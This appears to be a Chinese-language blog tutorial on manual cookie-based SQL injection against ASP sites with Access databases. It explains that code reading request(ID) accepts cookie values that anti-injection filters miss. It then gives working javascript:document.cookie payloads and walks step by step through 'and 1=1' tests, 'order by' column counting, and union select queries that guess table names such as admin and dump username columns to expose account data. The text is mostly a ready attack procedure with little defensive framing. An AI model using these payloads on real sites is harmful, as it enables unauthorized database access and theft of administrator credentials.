天天看點

Access之cookie手工注入

cookie注入的原理其實并不複雜。學過ASP語言的應該都知道,在ASP中 例如:

id=request.querystring(ID);

id=request.form(ID);

在正常情況下程式員應該按以上規範進行代碼的編寫,但是部分程式員,為了友善卻将代碼寫成了如下格式:

id=request(ID);

雖然此時也加了防注入程式。但是,防注入程式并不支援基于cookie送出的資料。而此時代碼由于接受任何送出方式,進而導緻了cookie注入的産生!下面我來簡單示範下cookie手工注入的過程。

首先,我們在存在cookie注入的頁面,按其正常位址進行一次完整的通路。完整通路是為了收集其cookie。

Access之cookie手工注入

接着,我們使用JS代碼在位址欄将原先的位址替換為如下代碼:

javascript:alert(document.cookie=”id=”+escape(“26”));

這句話的意思是修改之前正常頁面的cookie值。注意:escape 内的數值必須與ID值相同,同樣 id 參數也必須需原位址名保持一緻!

Access之cookie手工注入

當我們回車後頁面反彈回 JS 彈框,并顯示了 id=26 ,說明我們已經修改了cookie。

Access之cookie手工注入

此時,我們打開一個新頁面,将之前存在注入的頁面位址拷貝到位址欄。注意:這裡将後面的id 參數去除後,再進行通路!如圖。頁面如果依然傳回正常,則說明cookie 修改成功!

Access之cookie手工注入

下面我們就可以按正常的思路,來測試其是否真正存在注入。我們回到之前已被我們成功修改cookie的頁面!然後我們就可以通過簡單的注入語句,來判定注入的存在與否:

and 1=1

and 1=2

注:這裡的語句要加在JS語句的ID值後!

Access之cookie手工注入
Access之cookie手工注入

在證明确實存在注入後,我們就可以開始猜它的列數了:

order by xx

直到頁面傳回正常!

Access之cookie手工注入

在猜出列數後,我們就可以來繼續猜解表名。

javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,6,7,8,9,10 from manage”));

得到表名後,我們繼續進行列名的猜解。

javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,username,7,8,9,10 from admin”));

當我們猜解的表名列名均為正确時,我們就可以在頁面爆出其賬戶資訊!

繼續閱讀